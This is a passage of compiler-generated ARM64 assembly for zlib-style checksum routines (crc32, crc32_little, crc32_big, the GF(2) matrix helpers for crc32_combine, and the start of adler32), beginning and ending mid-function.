uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 120]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 120]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 32]
str x0, [sp, 128]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 128]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr w0, [sp, 28]
sub w0, w0, #8
str w0, [sp, 28]
.L2100:
ldr w0, [sp, 28]
cmp w0, 7
bhi .L2101
ldr w0, [sp, 28]
cmp w0, 0
beq .L2102
.L2104:
ldr x0, [sp, 32]
str x0, [sp, 64]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
mov w1, w0
ldr x0, [sp, 64]
ldrb w0, [x0]
eor w0, w1, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
sxtw x1, w1
ldr w0, [x0, x1, lsl 2]
uxtw x1, w0
ldr x0, [sp, 40]
lsr x0, x0, 8
eor x0, x1, x0
str x0, [sp, 40]
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2107
b .L2104
.L2107:
nop
.L2102:
ldr x0, [sp, 40]
eor x0, x0, 4294967295
str x0, [sp, 56]
.L2099:
ldr x0, [sp, 56]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L2106
bl __stack_chk_fail
.L2106:
mov x0, x1
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE122:
.size crc32, .-crc32
.align 2
.type crc32_little, %function
crc32_little:
.LFB123:
.cfi_startproc
stp x19, x20, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 19, -144
.cfi_offset 20, -136
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
mov w19, w0
mvn w19, w19
.L2112:
ldr w0, [sp, 28]
cmp w0, 0
beq .L2121
ldr x0, [sp, 32]
and w0, w0, 3
cmp w0, 0
beq .L2122
ldr x0, [sp, 32]
str x0, [sp, 48]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 48]
ldrb w0, [x0]
eor w0, w19, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
b .L2112
.L2121:
nop
b .L2111
.L2122:
nop
.L2111:
ldr x20, [sp, 32]
b .L2113
.L2114:
str x20, [sp, 80]
add x20, x20, 4
ldr x0, [sp, 80]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 88]
add x20, x20, 4
ldr x0, [sp, 88]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 96]
add x20, x20, 4
ldr x0, [sp, 96]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 104]
add x20, x20, 4
ldr x0, [sp, 104]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 112]
add x20, x20, 4
ldr x0, [sp, 112]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 120]
add x20, x20, 4
ldr x0, [sp, 120]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 128]
add x20, x20, 4
ldr x0, [sp, 128]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
str x20, [sp, 136]
add x20, x20, 4
ldr x0, [sp, 136]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #32
str w0, [sp, 28]
.L2113:
ldr w0, [sp, 28]
cmp w0, 31
bhi .L2114
b .L2115
.L2116:
str x20, [sp, 72]
add x20, x20, 4
ldr x0, [sp, 72]
ldr w0, [x0]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 768
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 512
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 256
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #4
str w0, [sp, 28]
.L2115:
ldr w0, [sp, 28]
cmp w0, 3
bhi .L2116
str x20, [sp, 32]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2117
.L2119:
ldr x0, [sp, 32]
str x0, [sp, 56]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 56]
ldrb w0, [x0]
eor w0, w19, w0
and w1, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2123
b .L2119
.L2123:
nop
.L2117:
mvn w19, w19
uxtw x0, w19
str x0, [sp, 64]
ldr x0, [sp, 64]
ldp x19, x20, [sp], 144
.cfi_restore 20
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE123:
.size crc32_little, .-crc32_little
.align 2
.type crc32_big, %function
crc32_big:
.LFB124:
.cfi_startproc
stp x19, x20, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 19, -80
.cfi_offset 20, -72
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr x0, [sp, 40]
lsr w1, w0, 24
ldr x0, [sp, 40]
lsr w0, w0, 8
and w0, w0, 65280
add w1, w1, w0
ldr x0, [sp, 40]
lsl w0, w0, 8
and w0, w0, 16711680
add w1, w1, w0
ldr x0, [sp, 40]
lsl w0, w0, 24
add w19, w1, w0
mvn w19, w19
.L2128:
ldr w0, [sp, 28]
cmp w0, 0
beq .L2137
ldr x0, [sp, 32]
and w0, w0, 3
cmp w0, 0
beq .L2138
ldr x0, [sp, 32]
str x0, [sp, 56]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
lsr w0, w19, 24
ldr x1, [sp, 56]
ldrb w1, [x1]
eor w1, w0, w1
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsl w0, w19, 8
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
b .L2128
.L2137:
nop
b .L2127
.L2138:
nop
.L2127:
ldr x20, [sp, 32]
sub x20, x20, #4
b .L2129
.L2130:
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #32
str w0, [sp, 28]
.L2129:
ldr w0, [sp, 28]
cmp w0, 31
bhi .L2130
b .L2131
.L2132:
add x20, x20, 4
ldr w0, [x20]
eor w19, w19, w0
and w1, w19, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsr w0, w19, 8
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1280
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w0, w19, 16
and w2, w0, 255
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1536
ldr w0, [x0, x2, lsl 2]
eor w1, w1, w0
lsr w2, w19, 24
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x2, w2
add x2, x2, 1792
ldr w0, [x0, x2, lsl 2]
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #4
str w0, [sp, 28]
.L2131:
ldr w0, [sp, 28]
cmp w0, 3
bhi .L2132
add x20, x20, 4
str x20, [sp, 32]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2133
.L2135:
ldr x0, [sp, 32]
str x0, [sp, 64]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
lsr w0, w19, 24
ldr x1, [sp, 64]
ldrb w1, [x1]
eor w1, w0, w1
adrp x0, crc_table
add x0, x0, :lo12:crc_table
uxtw x1, w1
add x1, x1, 1024
ldr w1, [x0, x1, lsl 2]
lsl w0, w19, 8
eor w19, w1, w0
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2139
b .L2135
.L2139:
nop
.L2133:
mvn w19, w19
lsr w1, w19, 24
lsr w0, w19, 8
and w0, w0, 65280
add w1, w1, w0
lsl w0, w19, 8
and w0, w0, 16711680
add w1, w1, w0
lsl w0, w19, 24
add w0, w1, w0
uxtw x0, w0
str x0, [sp, 72]
ldr x0, [sp, 72]
ldp x19, x20, [sp], 80
.cfi_restore 20
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE124:
.size crc32_big, .-crc32_big
.align 2
.type gf2_matrix_times, %function
gf2_matrix_times:
.LFB125:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
str xzr, [sp, 24]
b .L2141
.L2143:
ldr x0, [sp]
and x0, x0, 1
cmp x0, 0
beq .L2142
ldr x0, [sp, 8]
ldr x0, [x0]
ldr x1, [sp, 24]
eor x0, x1, x0
str x0, [sp, 24]
.L2142:
ldr x0, [sp]
lsr x0, x0, 1
str x0, [sp]
ldr x0, [sp, 8]
add x0, x0, 8
str x0, [sp, 8]
.L2141:
ldr x0, [sp]
cmp x0, 0
bne .L2143
ldr x0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE125:
.size gf2_matrix_times, .-gf2_matrix_times
.align 2
.type gf2_matrix_square, %function
gf2_matrix_square:
.LFB126:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str x0, [sp, 40]
str x1, [sp, 32]
str wzr, [sp, 60]
b .L2146
.L2147:
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 32]
add x0, x1, x0
ldr x2, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x1, [sp, 40]
add x19, x1, x0
mov x1, x2
ldr x0, [sp, 32]
bl gf2_matrix_times
str x0, [x19]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
.L2146:
ldr w0, [sp, 60]
cmp w0, 31
ble .L2147
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE126:
.size gf2_matrix_square, .-gf2_matrix_square
.align 2
.type crc32_combine_, %function
crc32_combine_:
.LFB127:
.cfi_startproc
sub sp, sp, #592
.cfi_def_cfa_offset 592
stp x29, x30, [sp]
.cfi_offset 29, -592
.cfi_offset 30, -584
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 584]
mov x1, 0
ldr w0, [sp, 28]
cmp w0, 0
bne .L2150
ldr x0, [sp, 40]
str x0, [sp, 56]
b .L2151
.L2150:
mov x0, 33568
movk x0, 0xedb8, lsl 16
str x0, [sp, 328]
mov x0, 1
str x0, [sp, 64]
mov w0, 1
str w0, [sp, 52]
b .L2152
.L2153:
ldrsw x0, [sp, 52]
lsl x0, x0, 3
add x1, sp, 328
ldr x2, [sp, 64]
str x2, [x1, x0]
ldr x0, [sp, 64]
lsl x0, x0, 1
str x0, [sp, 64]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L2152:
ldr w0, [sp, 52]
cmp w0, 31
ble .L2153
add x1, sp, 328
add x0, sp, 72
bl gf2_matrix_square
add x1, sp, 72
add x0, sp, 328
bl gf2_matrix_square
.L2159:
add x1, sp, 328
add x0, sp, 72
bl gf2_matrix_square
ldr w0, [sp, 28]
and w0, w0, 1
cmp w0, 0
beq .L2154
add x0, sp, 72
ldr x1, [sp, 40]
bl gf2_matrix_times
str x0, [sp, 40]
.L2154:
ldr w0, [sp, 28]
lsr w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2162
add x1, sp, 72
add x0, sp, 328
bl gf2_matrix_square
ldr w0, [sp, 28]
and w0, w0, 1
cmp w0, 0
beq .L2157
add x0, sp, 328
ldr x1, [sp, 40]
bl gf2_matrix_times
str x0, [sp, 40]
.L2157:
ldr w0, [sp, 28]
lsr w0, w0, 1
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
beq .L2163
b .L2159
.L2162:
nop
b .L2156
.L2163:
nop
.L2156:
ldr x1, [sp, 40]
ldr x0, [sp, 32]
eor x0, x1, x0
str x0, [sp, 40]
ldr x0, [sp, 40]
str x0, [sp, 56]
.L2151:
ldr x0, [sp, 56]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 584]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L2161
bl __stack_chk_fail
.L2161:
mov x0, x1
ldp x29, x30, [sp]
add sp, sp, 592
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE127:
.size crc32_combine_, .-crc32_combine_
.align 2
.global crc32_combine
.type crc32_combine, %function
crc32_combine:
.LFB128:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl crc32_combine_
str x0, [sp, 56]
ldr x0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE128:
.size crc32_combine, .-crc32_combine
.align 2
.global crc32_combine64
.type crc32_combine64, %function
crc32_combine64:
.LFB129:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w2, [sp, 28]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl crc32_combine_
str x0, [sp, 56]
ldr x0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE129:
.size crc32_combine64, .-crc32_combine64
.align 2
.global adler32
.type adler32, %function
adler32:
.LFB130:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 24]
lsr x0, x0, 16
and x0, x0, 65535
str x0, [sp, 56]
ldr x0, [sp, 24]
and x0, x0, 65535
str x0, [sp, 24]
ldr w0, [sp, 12]
cmp w0, 1
bne .L2169
ldr x0, [sp, 16]
ldrb w0, [x0]
and x0, x0, 255
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 24]
ldr x1, [sp, 24]
mov x0, 65520
cmp x1, x0
bls .L2170
ldr x1, [sp, 24]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 24]
.L2170:
ldr x1, [sp, 56]
ldr x0, [sp, 24]
add x0, x1, x0
str x0, [sp, 56]
ldr x1, [sp, 56]
mov x0, 65520
cmp x1, x0
bls .L2171
ldr x1, [sp, 56]
mov x0, -65521
add x0, x1, x0
str x0, [sp, 56]
.L2171:
ldr x0, [sp, 56]
lsl x0, x0, 16
ldr x1, [sp, 24]
orr x0, x1, x0
str x0, [sp, 48]
b .L2172
.L2169:
ldr x0, [sp, 16]
cmp x0, 0
bne .L2173
mov x0, 1
str x0, [sp, 48]
b .L2172
.L2173:
ldr w0, [sp, 12]
cmp w0, 15
bhi .L2179
.L2177:
ldr w0, [sp, 12]
str w0, [sp, 44]
